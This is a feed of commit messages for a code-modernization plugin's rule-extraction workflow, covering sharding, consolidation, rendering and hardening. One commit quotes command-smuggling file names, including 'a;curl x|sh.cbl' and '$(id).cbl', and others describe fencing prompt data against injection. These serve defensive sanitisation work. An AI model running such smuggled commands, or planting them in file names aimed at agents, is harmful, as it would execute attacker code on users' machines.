<feed xmlns='http://www.w3.org/2005/Atom'>
<title>claude-plugins-official.git/plugins/code-modernization/workflows/extract-rules.js, branch fix/theme-examples-command-description</title>
<subtitle>Official Claude Code plugin directory
</subtitle>
<link rel='alternate' type='text/html' href='https://git.1991861.xyz/claude-plugins-official.git/'/>
<entry>
<title>code-modernization: make rule consolidation auditable and injection-safe</title>
<updated>2026-09-25T04:22:06+00:00</updated>
<author>
<name>Morgan Lunt</name>
<email>morganl@anthropic.com</email>
</author>
<published>2026-09-25T04:22:06+00:00</published>
<link rel='alternate' type='text/html' href='https://git.1991861.xyz/claude-plugins-official.git/commit/?id=ff833bd7231262a8521ab3728c5625dc6c4f4a1d'/>
<id>ff833bd7231262a8521ab3728c5625dc6c4f4a1d</id>
<content type='text'>
Follow-ups from review of the consolidation pass:

- The agent is a restricted type with the same read-only wording as its
  siblings, and every field on its numbered list is a single bounded line, so
  a rule name containing a newline cannot fake another entry.
- A group with any number out of range or not an integer is rejected whole
  instead of being coerced into a different merge.
- A merge keeps the most conservative review state: the highest priority, the
  lowest confidence, and every suspected defect and SME question of the folded
  rules.
- Every folded rule is returned with the rule it went into, and the rules
  document lists them under "Rules folded into another", so nothing disappears
  untraceably. Extra citations show as "Also cited" without the joining word.
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Follow-ups from review of the consolidation pass:

- The agent is a restricted type with the same read-only wording as its
  siblings, and every field on its numbered list is a single bounded line, so
  a rule name containing a newline cannot fake another entry.
- A group with any number out of range or not an integer is rejected whole
  instead of being coerced into a different merge.
- A merge keeps the most conservative review state: the highest priority, the
  lowest confidence, and every suspected defect and SME question of the folded
  rules.
- Every folded rule is returned with the rule it went into, and the rules
  document lists them under "Rules folded into another", so nothing disappears
  untraceably. Extra citations show as "Also cited" without the joining word.
</pre>
</div>
</content>
</entry>
<entry>
<title>code-modernization: fold the same rule found in several files into one</title>
<updated>2026-09-25T04:18:31+00:00</updated>
<author>
<name>Morgan Lunt</name>
<email>morganl@anthropic.com</email>
</author>
<published>2026-09-25T04:18:31+00:00</published>
<link rel='alternate' type='text/html' href='https://git.1991861.xyz/claude-plugins-official.git/commit/?id=fc8adcf13fab336a810a622e8cf7be86be3a183b'/>
<id>fc8adcf13fab336a810a622e8cf7be86be3a183b</id>
<content type='text'>
A numeric library implemented in C, in a C++ header and in a fixed-point
variant produced three "twiddle factor" rules, two "generic butterfly" rules
and two "factorization" rules, because the referee's duplicate key is the
file plus the rule's name. The plan and the review then carry noise.

After verification, one small agent per 150 rules lists the groups that
describe the same behavior implemented in more than one place, told to merge
only what would be implemented and tested as one thing. The kept rule cites
every place (the renderer shows them as "Also cited") and takes the highest
priority of its group; overlapping, out-of-range or self-merging groups are
ignored, and the rule list is fenced as untrusted data. The count is
reported as stats.consolidated.
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
A numeric library implemented in C, in a C++ header and in a fixed-point
variant produced three "twiddle factor" rules, two "generic butterfly" rules
and two "factorization" rules, because the referee's duplicate key is the
file plus the rule's name. The plan and the review then carry noise.

After verification, one small agent per 150 rules lists the groups that
describe the same behavior implemented in more than one place, told to merge
only what would be implemented and tested as one thing. The kept rule cites
every place (the renderer shows them as "Also cited") and takes the highest
priority of its group; overlapping, out-of-range or self-merging groups are
ignored, and the rule list is fenced as untrusted data. The count is
reported as stats.consolidated.
</pre>
</div>
</content>
</entry>
<entry>
<title>code-modernization: keep rule extraction proportional to the code</title>
<updated>2026-09-25T03:52:33+00:00</updated>
<author>
<name>Morgan Lunt</name>
<email>morganl@anthropic.com</email>
</author>
<published>2026-09-25T03:52:33+00:00</published>
<link rel='alternate' type='text/html' href='https://git.1991861.xyz/claude-plugins-official.git/commit/?id=9b4b9865f5e6a07ced1f436972dc76d2c4022749'/>
<id>9b4b9865f5e6a07ced1f436972dc76d2c4022749</id>
<content type='text'>
On a roughly thousand-line C utility the whole-estate extraction ran four
rounds, spawned 223 agents and returned 141 rules (31 of them P0), because a
model can always find one more micro-behavior in a small program and the loop
only stopped when a round found nothing at all.

Every extractor now gets the same instruction on how fine to cut a rule: one
per business decision or calculation, not per branch or field, skipping
plumbing, roughly one per 40 to 80 lines of real logic, and rating P0 only
for the few rules that would defeat the system's purpose. The whole-estate
loop defaults to two rounds and stops when a round adds under 15% of what
is already catalogued.
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
On a roughly thousand-line C utility the whole-estate extraction ran four
rounds, spawned 223 agents and returned 141 rules (31 of them P0), because a
model can always find one more micro-behavior in a small program and the loop
only stopped when a round found nothing at all.

Every extractor now gets the same instruction on how fine to cut a rule: one
per business decision or calculation, not per branch or field, skipping
plumbing, roughly one per 40 to 80 lines of real logic, and rating P0 only
for the few rules that would defeat the system's purpose. The whole-estate
loop defaults to two rounds and stops when a round adds under 15% of what
is already catalogued.
</pre>
</div>
</content>
</entry>
<entry>
<title>code-modernization: rate rules by what the system is for, and make live runs finish</title>
<updated>2026-09-25T03:15:45+00:00</updated>
<author>
<name>Morgan Lunt</name>
<email>morganl@anthropic.com</email>
</author>
<published>2026-09-25T03:15:45+00:00</published>
<link rel='alternate' type='text/html' href='https://git.1991861.xyz/claude-plugins-official.git/commit/?id=696904602b2bdf3e0ddd07ae1221f9eb3e3b8e62'/>
<id>696904602b2bdf3e0ddd07ae1221f9eb3e3b8e62</id>
<content type='text'>
Two problems from running the commands on real repositories:

- The P0 definition was money- and regulation-shaped, so a music-library
  tool got no P0 rules and its behavior contract came out empty. P0 now
  means the system's core purpose depends on the rule, or a wrong result is
  costly or irreversible (money, legal, data integrity, security or safety,
  or the central calculation or decision the system exists to perform).
- Citations came back as lists of ranges, and the rule renderer numbered
  RULE-NNN in a different order from the document. Each rule now cites one
  range and the numbers read in sequence.

Commands that start subagents now say to run them in the foreground and
wait, because a headless session ends when the model stops talking even if
it said it was waiting for a background agent.
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Two problems from running the commands on real repositories:

- The P0 definition was money- and regulation-shaped, so a music-library
  tool got no P0 rules and its behavior contract came out empty. P0 now
  means the system's core purpose depends on the rule, or a wrong result is
  costly or irreversible (money, legal, data integrity, security or safety,
  or the central calculation or decision the system exists to perform).
- Citations came back as lists of ranges, and the rule renderer numbered
  RULE-NNN in a different order from the document. Each rule now cites one
  range and the numbers read in sequence.

Commands that start subagents now say to run them in the foreground and
wait, because a headless session ends when the model stops talking even if
it said it was waiting for a background agent.
</pre>
</div>
</content>
</entry>
<entry>
<title>code-modernization: simpler commands, a source option, a report page and an equivalence check</title>
<updated>2026-09-25T03:14:51+00:00</updated>
<author>
<name>Morgan Lunt</name>
<email>morganl@anthropic.com</email>
</author>
<published>2026-09-25T03:14:51+00:00</published>
<link rel='alternate' type='text/html' href='https://git.1991861.xyz/claude-plugins-official.git/commit/?id=cafefb304bde4070c6c0877528ee49c1252eff85'/>
<id>cafefb304bde4070c6c0877528ee49c1252eff85</id>
<content type='text'>
Commands hardcoded legacy/&lt;system&gt;, so code too big to copy, or living at
an absolute path, needed a hand-made symlink. Preflight now takes
--source &lt;path&gt; and makes the legacy/&lt;system&gt; link for you (a junction on
Windows); nothing is copied, and every command says where the link points
before it starts. The harden patch is applied with patch -p1 -d.

Each command ends by naming the next command to run, and the commands are
about a third shorter with no step removed:
- map accepts an existing dependency graph (--graph) or the stack's own
  tooling, maps very large estates in resumable chunks, records reflection
  targets as unresolved instead of dead, asks before describing more than
  40 nodes, and never gives two nodes the same location.
- transform can take its module and target from the brief, counts the
  equivalence cases that executed (zero is a failure and a comparison never
  skips), shows the tests can fail with a deliberate one-line break, and
  hands "same or different" to a script when both systems can run.
- brief writes each phase in one fixed shape: one command, module ids as in
  the map, and criteria written as conditions a build command may tick but
  not reword.
- reimagine reuses the discovery artifacts instead of extracting them again.
- status names the exact command to paste next.

scripts/build_report.py turns whatever the commands wrote into one
self-contained, offline REPORT.html (Mermaid is vendored, all text from the
analysis is escaped, the quarantined secrets file is never read), and
scripts/compare.py decides byte-for-byte whether two outputs match, records
why, and checks it can fail. The shard builder ignores symbolic links and
paths that leave the source, matches a plain name against what lies beneath
it, and falls back to the directory tree when the map's modules share a
location.

The README drops from 275 to about 100 lines; the pane's reference moves to
hooks/README.md.
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Commands hardcoded legacy/&lt;system&gt;, so code too big to copy, or living at
an absolute path, needed a hand-made symlink. Preflight now takes
--source &lt;path&gt; and makes the legacy/&lt;system&gt; link for you (a junction on
Windows); nothing is copied, and every command says where the link points
before it starts. The harden patch is applied with patch -p1 -d.

Each command ends by naming the next command to run, and the commands are
about a third shorter with no step removed:
- map accepts an existing dependency graph (--graph) or the stack's own
  tooling, maps very large estates in resumable chunks, records reflection
  targets as unresolved instead of dead, asks before describing more than
  40 nodes, and never gives two nodes the same location.
- transform can take its module and target from the brief, counts the
  equivalence cases that executed (zero is a failure and a comparison never
  skips), shows the tests can fail with a deliberate one-line break, and
  hands "same or different" to a script when both systems can run.
- brief writes each phase in one fixed shape: one command, module ids as in
  the map, and criteria written as conditions a build command may tick but
  not reword.
- reimagine reuses the discovery artifacts instead of extracting them again.
- status names the exact command to paste next.

scripts/build_report.py turns whatever the commands wrote into one
self-contained, offline REPORT.html (Mermaid is vendored, all text from the
analysis is escaped, the quarantined secrets file is never read), and
scripts/compare.py decides byte-for-byte whether two outputs match, records
why, and checks it can fail. The shard builder ignores symbolic links and
paths that leave the source, matches a plain name against what lies beneath
it, and falls back to the directory tree when the map's modules share a
location.

The README drops from 275 to about 100 lines; the pane's reference moves to
hooks/README.md.
</pre>
</div>
</content>
</entry>
<entry>
<title>code-modernization: extract-rules uses a shard builder and a rules renderer that ship with the plugin</title>
<updated>2026-09-25T01:26:30+00:00</updated>
<author>
<name>Morgan Lunt</name>
<email>morganl@anthropic.com</email>
</author>
<published>2026-09-25T01:26:30+00:00</published>
<link rel='alternate' type='text/html' href='https://git.1991861.xyz/claude-plugins-official.git/commit/?id=b10dab2f5ad83f642a03b5f800dea71651830beb'/>
<id>b10dab2f5ad83f642a03b5f800dea71651830beb</id>
<content type='text'>
The command used to carry a 35-line shard-building script inline and asked
the model to write a rules renderer on every run, so the shard list and the
BUSINESS_RULES.md layout varied from run to run and could not be tested.

scripts/make_shards.py builds the shard list from topology.json when the map
has run, and from the directory tree when it has not (skipping vendored,
generated and test-fixture directories, one shard per directory, split at 25
files or about 5,000 lines). scripts/render_rules.py turns the workflow's
result into BUSINESS_RULES.md and DATA_OBJECTS.md with RULE-NNN headings, the
SME section and the coverage gaps, and writes every value from the analysis as
plain text.

The workflow takes an optional sourceDir, so the code can live outside the
workspace, and shard files are kept relative to it. The command drops from 305
to about 150 lines.
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
The command used to carry a 35-line shard-building script inline and asked
the model to write a rules renderer on every run, so the shard list and the
BUSINESS_RULES.md layout varied from run to run and could not be tested.

scripts/make_shards.py builds the shard list from topology.json when the map
has run, and from the directory tree when it has not (skipping vendored,
generated and test-fixture directories, one shard per directory, split at 25
files or about 5,000 lines). scripts/render_rules.py turns the workflow's
result into BUSINESS_RULES.md and DATA_OBJECTS.md with RULE-NNN headings, the
SME section and the coverage gaps, and writes every value from the analysis as
plain text.

The workflow takes an optional sourceDir, so the code can live outside the
workspace, and shard files are kept relative to it. The command drops from 305
to about 150 lines.
</pre>
</div>
</content>
</entry>
<entry>
<title>code-modernization: check module and file names before they reach a prompt</title>
<updated>2026-09-25T01:02:19+00:00</updated>
<author>
<name>Morgan Lunt</name>
<email>morganl@anthropic.com</email>
</author>
<published>2026-09-25T00:53:44+00:00</published>
<link rel='alternate' type='text/html' href='https://git.1991861.xyz/claude-plugins-official.git/commit/?id=70caddcb673ac8995d6a5191e02ac51de579d6c3'/>
<id>70caddcb673ac8995d6a5191e02ac51de579d6c3</id>
<content type='text'>
extract-rules puts module names and file paths, which come from the
repository's own file names, into agent prompts. They were already
checked for traversal, control characters, backticks and angle
brackets, but a name such as "a;curl x|sh.cbl" or "$(id).cbl" passed
and could be run if an agent pasted it into a command unquoted.

A module name and a domain are labels: they are never opened, so they
are now cleaned instead of dropped (shell separators, quotes, glob and
brace characters, a leading hyphen or space, and a dollar sign that
opens an expansion become "_"), and the prompt says a name is a label
only. A file path has to round-trip, so it is checked and dropped, with
the drop counted and logged, when it holds a command separator, a quote,
a glob, brace or bracket character, a dollar sign that opens an
expansion ($(, ${, $HOME, $IFS, $@), leading or trailing whitespace, a
~ at the start of a word or after = or :, or a word that starts with -
(a shell would split "a -rf.cbl" into a path and a flag). Backslashes
are turned into / first, so the checks and a shell see one spelling and
Windows-style paths keep working.

A dollar sign before a digit or at the end stays allowed, as do #, @, ~
inside a word and a lone hyphen between spaces: mainframe member names
use them ("PAY$001"), and a positional parameter expands to nothing or
the shell's own name, never to anything the file's author controls.

The extractor prompt also says to open paths with the Read tool and to
wrap any that goes in a shell command in single quotes.
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
extract-rules puts module names and file paths, which come from the
repository's own file names, into agent prompts. They were already
checked for traversal, control characters, backticks and angle
brackets, but a name such as "a;curl x|sh.cbl" or "$(id).cbl" passed
and could be run if an agent pasted it into a command unquoted.

A module name and a domain are labels: they are never opened, so they
are now cleaned instead of dropped (shell separators, quotes, glob and
brace characters, a leading hyphen or space, and a dollar sign that
opens an expansion become "_"), and the prompt says a name is a label
only. A file path has to round-trip, so it is checked and dropped, with
the drop counted and logged, when it holds a command separator, a quote,
a glob, brace or bracket character, a dollar sign that opens an
expansion ($(, ${, $HOME, $IFS, $@), leading or trailing whitespace, a
~ at the start of a word or after = or :, or a word that starts with -
(a shell would split "a -rf.cbl" into a path and a flag). Backslashes
are turned into / first, so the checks and a shell see one spelling and
Windows-style paths keep working.

A dollar sign before a digit or at the end stays allowed, as do #, @, ~
inside a word and a lone hyphen between spaces: mainframe member names
use them ("PAY$001"), and a positional parameter expands to nothing or
the shell's own name, never to anything the file's author controls.

The extractor prompt also says to open paths with the Read tool and to
wrap any that goes in a shell command in single quotes.
</pre>
</div>
</content>
</entry>
<entry>
<title>code-modernization: fix contradictions and stale references in existing text</title>
<updated>2026-09-25T00:50:21+00:00</updated>
<author>
<name>Morgan Lunt</name>
<email>morganl@anthropic.com</email>
</author>
<published>2026-09-24T05:32:35+00:00</published>
<link rel='alternate' type='text/html' href='https://git.1991861.xyz/claude-plugins-official.git/commit/?id=65b0f06f1bd6309b88ca8c3cc92e34d7a4f51f5f'/>
<id>65b0f06f1bd6309b88ca8c3cc92e34d7a4f51f5f</id>
<content type='text'>
Make the text say what the commands and workflows already do: where each build command writes, which commands need earlier output, the approval stop before an uplift fan-out, a version placeholder that named arguments left unusable, a reference to a README section that does not exist, and a few counts and step references. No new steps or options.
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Make the text say what the commands and workflows already do: where each build command writes, which commands need earlier output, the approval stop before an uplift fan-out, a version placeholder that named arguments left unusable, a reference to a README section that does not exist, and a few counts and step references. No new steps or options.
</pre>
</div>
</content>
</entry>
<entry>
<title>code-modernization: extract-rules per-module shards, resume and coverage gaps</title>
<updated>2026-09-25T00:49:55+00:00</updated>
<author>
<name>Morgan Lunt</name>
<email>morganl@anthropic.com</email>
</author>
<published>2026-09-24T02:01:31+00:00</published>
<link rel='alternate' type='text/html' href='https://git.1991861.xyz/claude-plugins-official.git/commit/?id=08bf451b72fb386f47dae959c35294e7d89164b4'/>
<id>08bf451b72fb386f47dae959c35294e7d89164b4</id>
<content type='text'>
Extraction now shards by module: one extractor per module, in ordered
batches, so each agent reads a small slice instead of the whole estate.
The command builds the module list from analysis/&lt;system&gt;/topology.json
when it exists (otherwise from the directory tree), states the shard
count and an agent estimate before launching, and documents how to
resume an interrupted run with resumeFromRunId and how to re-run only
the shards that failed. The workflow stays inside the runtime's agent
cap and reports coverage gaps (skipped, failed and unverified shards)
instead of returning a partial catalog without saying so.

The estimate paragraph carries what was observed on a 44-program,
30,000-line system: 466 to 647 agents, about 8.8M tokens, 50 to 80
minutes. Module-mode extractors cite paths relative to legacy/&lt;system&gt;/,
like the lens-mode extractors.
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Extraction now shards by module: one extractor per module, in ordered
batches, so each agent reads a small slice instead of the whole estate.
The command builds the module list from analysis/&lt;system&gt;/topology.json
when it exists (otherwise from the directory tree), states the shard
count and an agent estimate before launching, and documents how to
resume an interrupted run with resumeFromRunId and how to re-run only
the shards that failed. The workflow stays inside the runtime's agent
cap and reports coverage gaps (skipped, failed and unverified shards)
instead of returning a partial catalog without saying so.

The estimate paragraph carries what was observed on a 44-program,
30,000-line system: 466 to 647 agents, about 8.8M tokens, 50 to 80
minutes. Module-mode extractors cite paths relative to legacy/&lt;system&gt;/,
like the lens-mode extractors.
</pre>
</div>
</content>
</entry>
<entry>
<title>code-modernization: extract-rules citation paths and categories</title>
<updated>2026-09-25T00:49:55+00:00</updated>
<author>
<name>Morgan Lunt</name>
<email>morganl@anthropic.com</email>
</author>
<published>2026-09-24T01:54:41+00:00</published>
<link rel='alternate' type='text/html' href='https://git.1991861.xyz/claude-plugins-official.git/commit/?id=686a686cc0dc7fad8ac562c38b4f91bf9747f2a6'/>
<id>686a686cc0dc7fad8ac562c38b4f91bf9747f2a6</id>
<content type='text'>
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
</pre>
</div>
</content>
</entry>
</feed>
